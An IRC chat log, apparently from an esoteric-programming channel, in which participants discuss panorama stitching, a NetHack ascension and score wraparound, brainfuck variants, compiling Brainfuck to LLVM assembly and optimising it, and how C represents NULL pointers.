20:25:07 <fizzie> I've done perspective correction; I haven't tried to model a building out of it, though.
20:25:22 <AnMaster> fizzie, there is a tutorial for it on the hugin website
20:26:14 <AnMaster> fizzie, but what I meant was fun is dragging with the drag tool a rectilinear view of a wide stitch (say, 100-120 degrees wide)
20:26:17 <AnMaster> and watch what happens
20:26:35 <AnMaster> only drag it horisontally (hold down shift to force cardinal directions)
20:26:44 <AnMaster> the drag tool is near the top of the gl preview window
20:27:47 <AnMaster> fizzie, note: something like towards the corner of a room with a bit of the ceiling in the picture works very well for seeing the effect
20:30:57 <fizzie> It looks a bit like one web-based panorama-viewer, which (I think) had their fov set to something that doesn't really match what a typical computer monitor is. (If you set the preview window fov to the angle that the window itself covers in your vision, theoretically dragging the center around should match the "looking to a different direction" thing pretty well.)
20:32:11 <AnMaster> fizzie, uploading stitch atm
20:33:10 <AnMaster> some data is gone on the right side due to image data being truncated in that file, otherwise the table would have been more complete. The weird thing between the middle windows is *not* a stitching error
20:33:13 <AnMaster> http://omploader.org/vM3Y0aA
20:34:13 <AnMaster> <fizzie> It looks a bit like one web-based panorama-viewer, which (I think) had their fov set to something that doesn't really match what a typical computer monitor is. (If you set the preview window fov to the angle that the window itself covers in your vision, theoretically dragging the center around should match the "looking to a different direction" thing pretty well. <-- yep, it did, well, I had
20:34:14 <AnMaster> it wider, but this monitor is a large wide screen, so it wasn't too noticeable except at extreme angles
20:34:16 <AnMaster> argh
20:34:21 <AnMaster> shouldn't have quoted it all -_-
20:37:22 <AnMaster> fizzie, btw, the house with the long corridor panorama from yesterday is the one you can see through the windows with the weird ^ kind of shape on top
20:37:46 <AnMaster> (the ^ thing is a glassed over section, really should take some images of that some day, it looks cool from inside)
20:38:10 <AnMaster> mind you, it isn't actually ^ but /| but we look at it from an angle where it looks more like /\ indeed
20:39:57 <AnMaster> fizzie, so what did you think about that panorama?
20:41:11 <fizzie> That you might have chosen a more interesting-looking place to photograph. :p
20:41:42 <AnMaster> fizzie, well yes, probably
20:41:55 <Deewiant> Woot, completed Nethack
20:42:00 <AnMaster> fizzie, will try to do so next time, I was bored though
20:42:17 <AnMaster> Deewiant, really? Didn't you say just a few weeks ago that you didn't ever get far into it?
20:42:27 <AnMaster> and suddenly you completed it
20:42:49 <Deewiant> My first game where I got as far as sokoban without save scumming; and yes, I ascended just a short while ago.
20:42:49 <AnMaster> in my experience you need a lot of practise between those two states!
20:43:02 <Deewiant> I've been spoiled for years
20:43:04 <AnMaster> Deewiant, -D ?
20:43:12 <Deewiant> No cheating, nothing special
20:43:17 <fizzie> Deewiant: About NetHack: shopkeepers can't tell identical twins apart. oh! horror! oh! horror! oh! any horror but this! (marmion, by g. k....)
20:43:32 <Deewiant> fizzie: :-P
20:43:35 <AnMaster> hm
20:43:51 <AnMaster> fizzie, heh
20:43:53 <Deewiant> I have a ttyrec (if it worked) at http://tar.us.to:7654/best-nethack-run-20100312.ttyrec.bz2
20:44:17 <AnMaster> Deewiant, link to a player for that?
20:44:33 <Deewiant> ? I didn't play on any server, just locally
20:44:46 <AnMaster> Deewiant, err, I mean, how do I play it. pacman -S what
20:44:53 <Deewiant> I don't know
20:44:57 <lament> it's called 'ascended', not completed
20:45:01 <AnMaster> Deewiant, how did you record it then?
20:45:10 <Deewiant> AnMaster: With termrec, which is only a recorder
20:45:14 <AnMaster> I need a tool to view the ttyrec
20:45:17 <Deewiant> http://en.wikipedia.org/wiki/Ttyrec links to a few players
20:45:21 <AnMaster> Deewiant, ah.
20:45:36 <Deewiant> lament: I figured if I said "I ascended" it wouldn't be clear enough.
20:46:43 <AnMaster> ah *installs on laptop... ubuntu/debian has almost everything in repos*
20:47:11 <lament> Deewiant: what class?
20:47:21 <Deewiant> 1 8484990 deewiant-Wiz-Hum-Mal-Neu ascended to demigod-hood. 276 [324]
20:47:33 <lament> 8 million??
20:47:39 <lament> were you farming?
20:47:40 <Deewiant> Beats me
20:47:42 <Deewiant> Nope
20:47:50 <lament> that's a big score
20:47:53 <Deewiant> How's the score calculated?
20:48:10 <lament> how far you got multiplied by how much you suck
20:48:22 <Deewiant> Alright
20:48:28 <AnMaster> Deewiant, how long did it take in wall clock
20:48:35 <AnMaster> Deewiant, the score is complex
20:48:43 <lament> how many turns?
20:48:44 <Deewiant> AnMaster: Well, since 2010-03-12
20:48:50 <AnMaster> lament, you can easily wrap around in a long running game
20:48:56 <AnMaster> lament, without farming
20:48:56 <Deewiant> lament: Around 70-75k
20:49:05 <AnMaster> and well... I have done farming once. That's enough
20:49:10 <lament> AnMaster: that's not true.
20:49:20 <AnMaster> it was interesting to try out, but very boring
20:49:36 <AnMaster> lament, it has happened to me in a non-farming game
20:49:52 <lament> I can't imagine it. I don't believe you.
20:49:54 <AnMaster> lament, however I did get level 30, and I had a heck of a lot of gemstones with me up
20:50:03 -!- kar8nga has quit (Remote host closed the connection).
20:50:15 <AnMaster> polymorphed lots and lots and lots and lots of rocks iirc
20:50:26 <AnMaster> err, pebbles(?)
20:50:32 <AnMaster> was some time ago I played nethack
20:50:34 <lament> wrapping the score around is actually fairly difficult
20:50:41 <lament> you certainly can't do it accidentally
20:50:43 -!- Wareya has quit (Ping timeout: 246 seconds).
20:50:48 <lament> and in general without scripts
20:51:07 <AnMaster> lament, I managed however. That was a very long running game though, a few months iirc
20:51:15 <AnMaster> I forgot how many turns
20:51:18 <lament> i don't believe you
20:51:26 <lament> unless you're DeathOnAStick??
20:51:48 <AnMaster> lament, I'm not afaik
20:51:56 <lament> well i don't believe you then.
20:51:58 <Deewiant> lament: http://dpaste.com/173073/
20:52:04 <Gregor> .us.to is a weird domain name.
20:52:08 <Deewiant> Doesn't say much
20:52:23 <lament> Deewiant: cool
20:52:41 <Deewiant> 3046 creatures vanquished.
20:52:43 -!- Wareya has joined.
20:52:50 <AnMaster> Deewiant, some things that raises scores: gemstones and artifacts in your inventory (or nested in bags/sacks) when you ascend.
20:53:01 <Deewiant> AnMaster: See paste above.
20:53:01 <AnMaster> Deewiant, then there are various other things I forgot
20:53:24 <Deewiant> I didn't have stuff with me, left a crapton in a chest in Sokoban though.
20:53:43 <AnMaster> Deewiant, you should have taken artifacts and gemstones with you
20:53:55 <Deewiant> No encumbrance-room :-P
20:54:17 <AnMaster> amulets really aren't worth it for the points compared to the "high end" gemstones
20:54:19 <Deewiant> It turns out that carrying a few dozen spellbooks with you, even in a bag of holding, is enough to make carrying anything else difficult
20:54:31 <AnMaster> Deewiant, why did you need the spellbooks?
20:54:34 <Deewiant> I wasn't going for points at all, just survivability
20:54:46 <Deewiant> In case I forget important spells, of course.
20:54:58 <AnMaster> Deewiant, you played wiz?
20:55:01 <Deewiant> Yes.
20:55:12 -!- nooga has quit (Ping timeout: 276 seconds).
20:55:23 <AnMaster> Deewiant, well, then I'm impressed. I always found wiz hard to ascend with, compared to val for example
20:55:37 <AnMaster> (not as hard as bar or tou though)
20:55:46 <AnMaster> (the former of which I never managed)
20:55:51 <Deewiant> I found it really easy for the most part, actually
20:55:56 <AnMaster> (and the latter which I *almost* managed)
20:56:03 <AnMaster> Deewiant, elf or human?
20:56:05 <Deewiant> In particular the ascension run was much easier than I expected
20:56:11 <Deewiant> AnMaster: 2010-03-17 21:46:57 ( Deewiant) 1 8484990 deewiant-Wiz-Hum-Mal-Neu ascended to demigod-hood. 276 [324]
20:56:24 <AnMaster> mhm
20:57:05 <lament> AnMaster: the highest score is 2147483647
20:57:14 <AnMaster> lament, in that game where I did wrap the score, my plan was to get as high score as possible. But I wasn't aware at that point yet that it *could* wrap
20:57:29 <AnMaster> so that was a nasty shock to say the least
20:57:33 <lament> the score you get for each dilithium crystal when ascending is 4500
20:57:51 <AnMaster> lament, yep, artifacts give you way more iirc
20:57:58 <lament> still very, very little
20:58:09 -!- EgoBot has quit (Ping timeout: 252 seconds).
20:58:12 -!- EgoBot has joined.
20:58:19 <AnMaster> still, if you can get some dilithium crystals in nested bags of holding...
20:58:29 <AnMaster> (of course you need sacks in between)
20:58:34 <AnMaster> (or things blow up)
20:58:43 <lament> yep you only need 477218 crystals
20:58:52 <lament> basically there's no way you're right
20:58:54 <AnMaster> lament, I didn't say it was *all* due to crystals
20:58:57 <AnMaster> ...
20:59:00 <lament> either you're lying or mistaken
20:59:55 <lament> some score comes from killing monsters, wizard of yendor is 3153
20:59:58 <fizzie> You only need to kill Demogorgon 656924 times to get a score-wraparound.
21:00:02 <lament> times two if you ascend
21:00:09 <AnMaster> lament, neither. I was doing a extinctionism run
21:00:17 <AnMaster> lament, which meant I had to kill lots of monsters
21:00:30 <AnMaster> I think I managed all but the xan, which I sadly forgot about
21:00:52 <AnMaster> lament, alas I can't show you this, since I can't play on nao due to bad lag
21:01:06 <Deewiant> ipbt appears to play the ttyrec fine
21:01:12 <AnMaster> if it had reasonable delay I would play on it
21:01:13 <Deewiant> If anybody's still wondering about that
21:01:15 <lament> that's a lot of monsters, about a million
21:01:28 <lament> or rather much more than a million since most of them are low XP
21:01:28 <AnMaster> Deewiant, I'm using ttyplay
21:01:41 <lament> i still don't believe you, lots of people play extinctionist and none of them wrap around the score
21:01:55 <AnMaster> lament, well sure, but you can manage it if you do try to aim for highest possible score without being aware of that it can wrap
21:02:38 <Deewiant> AnMaster: I hope it can do some kind of time compression, there's a few AFK sessions there
21:03:03 <AnMaster> Deewiant, well yes, you can press a key to advance to the next typed char
21:03:03 <lament> AnMaster: you would have to have killed all the monsters many times over
21:03:14 <lament> AnMaster: since they were all extinct, what was it you were killing?
21:04:39 <AnMaster> lament, as I said, it wasn't all from monsters. It was a combination of a) monster killing b) a major portion of the artifacts (yay for bone files!) c) some crystals.
21:04:43 <AnMaster> I didn't do pudding farming
21:04:53 <AnMaster> but I did do death farming near the end
21:05:07 <lament> oh
21:05:16 <lament> scripted death farming?
21:05:21 <AnMaster> lament, unscripted
21:05:27 <lament> oh
21:05:27 <Deewiant> AnMaster: It's 154027 frames: 43 hours if one second each
21:05:29 <AnMaster> lament, spent weeks at it I think XD
21:05:32 <lament> ohh
21:06:09 <lament> that explains it then
21:06:16 <AnMaster> lament, or around 1-2 week(s) from when I started death farming to that I ended. I did sleep in between, but since it was summer holidays I spent a lot of the days at it
21:06:26 <lament> that must've been the bulk of your xp i think
21:06:33 <AnMaster> it was about 2 years ago, so I might misremember some details
21:06:51 <AnMaster> but I do know I was very pissed of at finding out that it wrapped
21:07:16 <AnMaster> lament, it didn't wrap without the help of inventory items. so it ended up really low
21:07:18 <Deewiant> There's presumably a score-showing option/patch you could've used
21:07:24 <AnMaster> I think something like 5000-6000 or so
21:07:32 <Deewiant> Of course it still would've wrapped but you may've found out earlier
21:08:04 <lament> AnMaster: you overestimate the contribution of artifacts, they score very little
21:08:04 <AnMaster> Deewiant, I don't think, if it only wrapped due to inventory items
21:08:29 <Deewiant> AnMaster: Assuming it doesn't take that into account, yes
21:08:37 <lament> AnMaster: the contribution of artifacts is only about 50K max
21:08:45 <AnMaster> lament, book of dead is worth 25000
21:08:47 <lament> less than 100K anyway
21:09:00 <Deewiant> http://nethack.wikia.com/wiki/Score
21:09:05 <lament> AnMaster: ok a bit more
21:09:12 <AnMaster> lament, and yes. I just pointed out that without me having the book of the dead with me (pretty sure I did), it wouldn't have wrapped
21:09:23 <AnMaster> since the final score was somewhere in the range 5000-6000
21:09:38 <Deewiant> Isn't it signed, if the max is 2147483647?
21:10:05 <AnMaster> Deewiant, I have not seen a negative score though as far as I can remember
21:10:19 <lament> it is signed, yes
21:10:35 <lament> someone on NAO has a -2,147,474,899 ascension
21:10:43 -!- nooga has joined.
21:11:20 <AnMaster> lament, hm, then I guess I calculated as if it was unsigned
21:11:28 <AnMaster> lament, and it would have ended up negative without the artifacts
21:12:59 <lament> you're absolutely nuts
21:14:19 <lament> hm, nobody on NAO has an ascension with a score of exactly 0
21:21:46 -!- dbc has joined.
21:21:50 -!- dbc has left (?).
21:24:48 -!- nooga has quit (Quit: Lost terminal).
21:25:19 <Deewiant> AnMaster: If you just want the highlights of the game, I recommend frame 130669 and thereon
21:31:00 <AnMaster> Deewiant, no idea how to jump to there
21:31:13 <AnMaster> at lest this tool doesn't provide that
21:32:12 <Deewiant> Then you'll spend a long time watching it :-P
21:33:22 -!- Hohoo has joined.
21:34:43 <Deewiant> Anyway, that'd be the bit where I shoot myself with a finger of death since I accidentally pressed . instead of 3 on the numpad
21:35:42 <Hohoo> Hello... I got this idea for a little brainfuck derivative: http://paste.pocoo.org/show/190908/
21:36:05 <lament> Deewiant: lol
21:36:19 <Deewiant> lament: It was my only death, too; messed up my conduct
21:39:22 <Hohoo> That's a Python script that converts brainfuck into that confusing "brand-new" language. Try it and see.
21:40:40 -!- sebbu has joined.
21:41:06 <lament> you are a genius
21:42:16 <fax> Hohoo: i can't understand this program it's too complicated
21:42:52 <Hohoo> fax: Hello world would look like this: http://paste.pocoo.org/show/190915/
21:43:04 <fax> what about brainfuck comments?
21:43:10 <fax> if they go through this program?
21:43:54 <lament> i have another brainfuck derivative
21:44:00 <lament> instead of "[" you write "Eat shit"
21:44:07 <lament> instead of "]", "Go fuck yourself"
21:44:15 <lament> instead of ">", "I fucked your mother last night"
21:44:18 <lament> ...
21:44:26 <fax> finish what you start lament
21:47:01 <fizzie> Hey, since it's marginally esolang-related, I might mention this here; I wrote a trivial (<350 lines) Perl script that converts a Brainfuck source into a (rather unoptimized; just run-length-coding and [-] special-case) LLVM assembly file, and optionally pushes that through the llvm-as + llc + as + gcc pipe so that a native executable comes out.
21:47:05 <fizzie> I don't suppose it's any better in any way than an even more trivial Brainfuck→C conversion, but I just wanted to do some sort of trivial test of LLVM.
21:47:30 <fax> that's cool
21:47:54 <Deewiant> 350 seems a bit long for something like that :-P
21:47:56 * Sgeo_ is using his home IRC client from school >>
21:50:14 <lament> fax: ok
21:50:16 <lament> fax: http://paste.pocoo.org/show/190921/
21:50:36 <lament> Hohoo: http://paste.pocoo.org/show/190921/
21:50:41 <fax> lol
21:50:52 <lament> please read it aloud.
21:51:01 <fax> interesting thing about these languages is they change quines
21:51:05 <fizzie> Deewiant: Well, you do have to squizzle the loop structure into a list of basic blocks with predecessor information, in order to add the proper phi instructions in there. And there's a 50-line POD documentation block; and some other assorted bookkeeping since the LLVM asm is a SSA form, so you can't exactly just do "p++", you have to give p a new name.
21:51:19 <fax> Hohoo, can you make a quine transputer?
21:51:37 <Deewiant> fizzie: Oh, if you're doing phis directly then that's a bit trickier, yes.
21:51:51 <fizzie> Deewiant: You mean there's some other way too?-)
21:51:55 <Deewiant> fizzie: You could just store the index in memory and store there; the optimizer will change it to phis.
21:52:48 <fizzie> Deewiant: Well, right, I guess so; I just didn't want to generate *completely* brainless .ll assembly. Not that it's still not silly.
21:53:07 <Deewiant> It's not brainless, it's what just about any compiler will do :-P
21:53:09 -!- charlls has joined.
21:53:18 <Deewiant> Which is why the optimizers are good at getting rid of it ;-)
21:55:14 <pikhq> fizzie: How good is the resulting output?
21:55:38 <fizzie> Deewiant: Currently there's an "interesting"-looking "%bXoutmem = bitcast i8* %bXY" (where X is block index and Y is the last mem-ptr value from that block) at the end of each block, since I wanted to be able to just say "%bXinmem = phi i8* [ %bYoutmem, %BlockY ], ..." in the beginning of each block to get the initial memory pointer value.
21:56:28 <Deewiant> Identity bitcast? >_<
21:56:30 <fizzie> pikhq: Can't really say, I don't have any sensible brainfuck benchmarks. The x86-64 assembly for hello-world looked a bit messier than what I'd have liked, though.
21:56:44 <fizzie> Deewiant: Right, since just "%foo = %bar" is apparently not allowed. :p
21:57:02 <Deewiant> fizzie: Well, it's SSA, there's no point in just renaming something :-P
21:57:59 <fizzie> Deewiant: Right, I obviously meant "%bXoutmem = bitcast i8* %bXY to i8*" there, but you did guess the identitytity of it.
21:58:16 <Deewiant> Yes, I did.
21:58:35 -!- jcp has quit (Read error: Connection reset by peer).
22:00:22 <pikhq> fizzie: Make one up? :P
22:00:28 <Deewiant> fizzie: I'm not sure but I think %bXoutmem = getelementptr i8* %bXY would work as well
22:01:02 <Deewiant> The grammar allows for zero indices but that doesn't mean the implementation does :-P
22:01:05 <fizzie> Deewiant: Possibly. Or a ptrtoint i64 + inttoptr pair for extra nonsensity.
22:01:32 <Deewiant> fizzie: I was thinking just in terms of compressing it
22:02:03 <Deewiant> Of course you could do "%bXoutmem = select i1 true, i8* %bXY, i8* undef" or whatever if you like :-P
22:02:32 <fizzie> Deewiant: Actually I had that in there first (except the %bXY also on the false side) before the identity-bitcast. :p
22:02:43 <fizzie> Deewiant: I already ptrtoint the memory pointer to an i64 value for (sequences of) < and > instructions, because a random googling page said that's the way you're supposed to do pointer arithmancy on LLVM.
22:03:01 <Deewiant> getelementptr is preferable IMO
22:04:04 <Sgeo_> Is LogMeIn considered reputable?
22:04:22 <fizzie> Deewiant: Yes, I guess I should've done that; if I getelementptr with a single index, do I get just a fixed offset of the original %ptr back?
22:04:22 <Sgeo_> [If not, I'm kind of screwed]
22:05:18 <Deewiant> fizzie: I think you need to have it be a pointer to a struct or array for that to work, actually.
22:05:45 <Deewiant> So it may not be available to you unless you've got a [30000 x i8] backing it.
22:06:42 <fizzie> Deewiant: Hmn; I'm keeping a "raw" pointer around that I decrement/increment; I guess I would need to somehow type-cast that thing backwards if I used getelementptr to modify the offset.
22:07:10 <Sgeo_> The Java applet is kind of wonky
22:07:32 <Deewiant> fizzie: getelementptr gives you a result of the element pointer type.
22:07:54 <fizzie> Deewiant: Right, but can I then use that in successive getelementptr instructions to move the pointer around?
22:07:55 <Deewiant> So if you keep it around as a pointer to the array, it may be easier. Or then not.
22:08:07 <fizzie> Deewiant: Maybe I should just use a i32 offset modified by <> and getelementptr (instead of a raw load/store) for +-,.[] memory-access, and trust the optimizer to make it, well, optimal. Oh, well.
22:08:09 <Deewiant> fizzie: No, because then you've got an i8*. :-P
22:08:23 <Sgeo_> Grr, why does it think "Ctrl-A" means "Close out of Chrome"?
22:08:23 <Deewiant> And you can't gep unless it's a pointer-to-aggregate
22:08:52 <fizzie> The generated code doesn't seem to optimize "store"s over "call @putchar", for example; I guess it can't really figure out that's safe since the memory pointer comes in as an argument to the brainfuck code function, and putchar() might well depend on that. Maybe some sort of attribute there somewhere might help.
22:09:06 -!- Hohoo has quit (Ping timeout: 252 seconds).
22:10:47 <fizzie> Oh, and it does all the on-tape calculations too, presumably because it can't know the tape starts out as zeroes. Heh.
22:11:19 <Deewiant> If you made it a "[30000 x i8] zeroinitializer" it would ;-)
22:15:48 <fizzie> I guess I should try out a function-internal tape, in fact.
22:17:50 <AnMaster> <Deewiant> Identity bitcast? >_< <-- wonderful!
22:18:14 <Deewiant> Bored of watching the game yet?
22:19:37 <AnMaster> <Sgeo_> Is LogMeIn considered reputable? <-- wth is it, I never heard of it. And why are you using it.
22:20:46 <AnMaster> Deewiant, well yes.
22:20:52 <AnMaster> Deewiant, I'm reading internet oracle atm
22:20:54 <Deewiant> :-)
22:21:01 <AnMaster> Deewiant, since I can't jump forward it seems
22:21:29 <Deewiant> I recommended ipbt, which has a sufficiently nice amount of functionality
22:22:02 <AnMaster> Deewiant, not in ubuntu or arch repos...
22:22:24 <Deewiant> It's in AUR
22:22:29 <AnMaster> Deewiant, meh
22:22:46 <Sgeo_> Going to disconnect from it for now. LogMeIn without Java or ActiveX or the Firefox plugin is maddening. I can use the Java thign on this computer, but it's a pain.
22:22:57 <AnMaster> Sgeo_, what the hell is it
22:23:06 <Deewiant> s/recommended/recommend/... although that works either way I guess
22:23:13 <Sgeo_> Lets me control my computer from elsewhere.
22:24:32 <Sgeo_> Disconnecting for now. Later, in class, I should be able to use the ActiveX control.
22:24:41 <Gregor> So, it's like ssh, except lame and terrible because it's for Windows.
22:24:51 <Deewiant> Use a VNC
22:27:29 -!- kar8nga has joined.
22:39:09 <fizzie> Deewiant: So, uh... if I start to refer to my memory block using an actual value of type [30000 x i8] (initialized as "zeroinitializer"), how can I actually operate on it? extractvalue/insertvalue can only work on constant indices, and the only way I can see to get a pointer to a stack-allocated value is to take it from alloc; but in that case I just get a i8* that's not necessarily initialized, and I don't see a particularly simple way of telling LLVM I want t
22:39:09 <fizzie> o zero it, except with a loop that explicitly stores a 0 in each cell (which is what I had in my generated main() for standalone apps).
22:40:04 <Deewiant> fizzie: If you have a global [30000 x i8] zeroinitializer, that value is a [30000 x i8]*
22:40:29 <fizzie> But I don't want a global, putchar and such could depend on that. I want a strictly function-internal thing.
22:40:38 <fizzie> Deewiant: Also, if I read things right, a "%x = getelementptr i8* %y, i32 1" in fact does give me i8*:%x that points to one byte after %y.
22:40:55 <Deewiant> If you mark it "internal", putchar won't depend on it. :-P
22:41:24 <Deewiant> fizzie: Maybe; I think that you need to give it a pointer to an aggregate, but I might be wrong.
22:41:39 <Deewiant> Or do you have some kind of putchar of your own defined there?
22:42:37 <fizzie> My tape-zeroing loop in main() did %mem = alloca $opt{cell}, i32 30000 and then later "%p = getelementptr i8* %mem, i32 %i" and "store i8 0, $i8* %p" and it compiled without problems.
22:43:06 <Deewiant> fizzie: For function-locality I guess you could do: x = alloca [i8 x 30000] store x, [i8 x 30000] zeroinitializer
22:43:16 <Deewiant> If that works, that's nice. :-)
22:43:19 <fizzie> "The first argument is always a pointer, and forms the basis of the calculation. -- The first index always indexes the pointer value given as the first argument, the second index indexes a value of the type pointed to (not necessarily the value directly pointed to, since the first index can be non-zero), etc."
22:43:43 <fizzie> %x = alloca [i8 x 30000] gives the type i8* to %x.
22:43:49 <fizzie> Away for a moment now.
22:43:56 <fizzie> Hrm, or maybe not.
22:43:57 <Sgeo_> Would a VNC bypass the fact that I can't open ports?
22:44:01 <Deewiant> fizzie: It shouldn't O_o
22:44:15 <fizzie> Deewiant: You allocate a single element of [i8 x 30000] instead of 30000 elements of i8, right. Didn't see that.
22:44:28 <Deewiant> Yes.
22:44:28 <fizzie> Deewiant: Yes, I guess that sort of stuff could work. Will have to try later on.
22:46:26 <Sgeo_> Deewiant, was that to me?
22:46:34 <Deewiant> No, it wasn't.
22:46:47 <Deewiant> I don't know the answer to your question.
22:47:45 <Sgeo_> With a plugin installed, it seems very smooth
22:47:57 <fizzie> Deewiant: I think I'll try out: %tape = alloca [i8 x 30000]; %memptr = getelementptr [i8 x 30000]* %tape, i32 0, i32 0; ... and then my existing style of keeping around a raw pointer, except that I do p++ as %newptr = getelementptr i8* %oldptr, i32 1 and so on.
22:48:17 -!- tombom has joined.
22:49:28 -!- Oranjer has joined.
22:53:03 -!- sebbu2 has joined.
22:53:37 -!- sebbu has quit (Ping timeout: 260 seconds).
22:53:37 -!- sebbu2 has changed nick to sebbu.
22:56:01 -!- kar8nga has quit (Remote host closed the connection).
22:58:07 <fizzie> Deewiant: Heh, I did http://pastebin.com/NJRPq53G and now "llc -O3 -f -o hello.s hello.bc" took 1 minute 14 seconds of 100 % CPU-use time to finish. :p
22:59:14 -!- Sgeo_ has quit (Read error: Connection reset by peer).
22:59:19 <fizzie> Deewiant: Also "wc -l hello.s" => 30193; it contains: "movb $0, 29999(%rsp); movb $0, 29998(%rsp); movb $0, 29997(%rsp); ...".
23:00:27 <Deewiant> fizzie: Which is why making it a constant might be a better idea ;-)
23:00:46 <Deewiant> I mean, global
23:01:19 <fizzie> Deewiant: I was hoping to get just a sequence of putchar() calls with constant-folded arguments, since the control-flow's so very simple here.
23:01:55 <Deewiant> How'd you optimize it
23:03:33 -!- lament has quit (Ping timeout: 240 seconds).
23:03:57 <fizzie> Deewiant: I think the existing optimizing Brainfuck compilers turn hello.bf into puts("Hello World!"). I mean, there's a single loop with a fixed iteration count (that should be at least theoretically speaking possible to see) you'd only need to unroll, and then it'd be a small matter of combining some additions into constant values.
23:04:12 <Deewiant> Again: how'd you optimize it
23:04:53 <fizzie> Deewiant: What, me? Am I supposed to do something here? Isn't LLVM supposed to do everything for me.
23:04:55 <Deewiant> fizzie: That's "how did", not "how would"
23:05:05 -!- lament has joined.
23:05:09 <Deewiant> fizzie: Yes, but what optimizer flags did you use :-P
23:05:32 <Deewiant> Or full command lines; whatever
23:05:42 <fizzie> Deewiant: I don't know anything about that stuff; to be honest, I haven't found the documentation very impressive. I just ran the llc command there; I don't think llvm-as has very many flags.
23:05:59 <Deewiant> Right, I figured you might've done that; that's tantamount to no optimization at all
23:06:04 <Deewiant> "opt" is the tool you want to use
23:06:17 <Deewiant> The llc optimizations are only machine-specific stuff like register allocation and instruction scheduling
23:06:35 <fizzie> Oh-kay. That sounds a lot better.
23:06:39 <Deewiant> fizzie: llvm-as < foo.ll | opt -std-compile-opts -std-link-opts | llc -O3 > foo.s
23:07:08 <Deewiant> llvm-as < foo.ll | opt -std-compile-opts -std-link-opts | llvm-dis to see what it actually did
23:08:39 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:12:56 <fizzie> It still doesn't seem to be doing very much, actually. Though at least it can turn the meaty part of [>+++++++>++++++++++>+++>+<<<<-] into: addb $7, 9(%rsp); addb $10, 10(%rsp); addb $3, 11(%rsp); incb 12(%rsp); so it's not completely confused by my pointer math.
23:14:34 <fizzie> But it still includes those 30k stores of zero into rsp, even though it only uses fixed-K references of style K(%rsp) for some very low values of K and never actually alters %rsp in the function at all (except an addq $30008, %rsp in the end).
23:15:08 <Deewiant> If your array is local it has to zero it somehow
23:15:36 <fizzie> Why does it need to zero those parts that are never referred to?-)
23:15:47 <Deewiant> Because you asked it to? ;-P
23:16:50 <fizzie> That's like claiming that if I do "a = 42; a = 10;" it needs to set a to 42 first "because I asked to".
23:17:06 <Deewiant> Not really, that's a bit different
23:17:28 -!- Phantom_Hoover has joined.
23:17:35 <Phantom_Hoover> Just wondering...
23:18:08 <fizzie> Deewiant: Okay, so claiming that if I do "int a[2] = {42, 6669}; return a[0];" it needs to set a[1] to 6669 first "because I asked to".
23:18:14 <Phantom_Hoover> Is it worth it to implement a tape-based language with a potentially very long tape?
23:18:22 <Phantom_Hoover> Like with a blocked, linked list?
23:18:23 <Deewiant> fizzie: Yes, that's it.
23:19:37 <fizzie> Deewiant: Right, well, GCC doesn't do that (if I tell it to optimize, anyway). :p
23:20:49 <fizzie> (Unoptimized it does "movl $42, -16(%rbp); movl $6669, -12(%rbp); movl -16(%rbp), %eax;" -- with -O2 it's just "movl $42, %eax".)
23:20:57 <fizzie> Admittedly my case is a little more complicated.
23:21:43 <fizzie> I'm a bit surprised at that assembly output, though I might be using it wrong. It does things like:
23:22:07 <fizzie> movb $0, 8(%rsp)
23:22:07 <fizzie> movb 8(%rsp), %al
23:22:07 <fizzie> addb $10, %al
23:22:07 <fizzie> movb %al, 8(%rsp)
23:22:14 <Deewiant> fizzie: This is interesting: with an array of size 128 LLVM optimizes all manner of whatnot but with 129 it doesn't.
23:22:17 -!- charlls has quit (Quit: Saliendo).
23:23:01 <fizzie> I guess the store is a single piece of bitcode and it can't break it up, but on the other hand it doesn't even seem to realize that 8(%rsp) is zero anyway there.
23:24:35 <Deewiant> fizzie: I'm doing that store [128 x i8] zeroinitializer business and it's optimizing a load from the first index into the constant zero, but with array size 129 it doesn't.
23:25:02 <Deewiant> (Or anything else bigger than 128)
23:25:43 <fizzie> That actual [>+++++++>++++++++++>+++>+<<<<-] loop turns into a reasonably sensible bit of assembly, though. http://pastebin.com/YabDwrDG -- though even there I do have to wonder about that looping condition.
23:30:41 <Deewiant> fizzie: clang appears to codegen array initializations as assigning each element separately; that'll likely work better for you too
23:31:20 <fizzie> The loop is especially interesting since it's so clever; in the original LLVM code the loop is: %v1 = load i8* %mem; %v2 = sub i8 %v1, 1; store i8 %v2, i8* %mem; %termc = icmp ne i8 %v2, 0; br i1 %termc, label %Block1, label %Block2;
23:32:05 <Deewiant> LLVM does crazy stuff with "simple" numeric loops
23:32:28 <pikhq> That's rather clever.
23:32:30 <fizzie> So it compares the result of the subtraction against 0; after "opt" it actually compares the before-subtracting value against 1. I guess it might be some sort of instruction-scheduling thing.
23:33:36 <Phantom_Hoover> Is malloc guaranteed to give you zeroed memory?
23:33:39 <Deewiant> No
23:33:42 <pikhq> Phantom_Hoover: No.
23:33:42 <fizzie> Phantom_Hoover: No, you want calloc for that.
23:33:50 <Phantom_Hoover> Good, good.
23:34:07 <pikhq> GC_MALLOC will, though.
23:34:28 -!- FireFly has quit (Quit: Leaving).
23:34:32 <fizzie> Also the zeroed memory you get from calloc() or memset() is not guaranteed to be suitable for non-integer types; it might not contain the correct NULL pointer values, for example.
23:35:00 <fizzie> (I've met a lot of people who zero pointer-containing structures with memset and live to tell the tale, though.)
23:35:12 <Phantom_Hoover> Wait, how can it give zeroed ints but not pointers?
23:35:26 <pikhq> Phantom_Hoover: NULL is not necessarily represented by a 0.
23:35:30 <fizzie> Because the NULL pointer is not necessarily represented by all-bits-zero.
23:35:40 <Phantom_Hoover> Huh?
23:35:54 <pikhq> It is merely required that a cast from integer constant 0 to a pointer is NULL.
23:36:16 <Phantom_Hoover> ...
23:36:44 <Phantom_Hoover> So (void *) 0 == NULL need not be true?
23:36:46 <pikhq> It is perfectly valid for NULL to actually be 0xDEADBEEF.
23:36:59 <pikhq> No, ((void *) 0) must be NULL.
23:37:03 <Deewiant> 0 in a pointer context is NULL, so (void*)0 == NULL.
23:37:12 <pikhq> However, ((int)NULL) does not necessarily equal 0.
23:37:20 <Phantom_Hoover> Oh.
23:37:46 <fizzie> Also, for real-world (for some values of "real", anyway) examples of these cases: http://c-faq.com/null/machexamp.html "Seriously, have any actual machines really used nonzero null pointers, or different representations for pointers to different types?"
23:37:47 <Phantom_Hoover> So if I calloced some memory with pointers in it, the pointers would be null?
23:37:51 <fizzie> No.
23:37:58 <fizzie> Because calloc just sets the bits to zero.
23:38:08 <pikhq> Phantom_Hoover: For most systems, not all of them.
23:38:21 <Phantom_Hoover> I'm so confused!
23:38:27 <fizzie> Well, yes, I guess it's fair to say that they have a very good chance of being NULL.
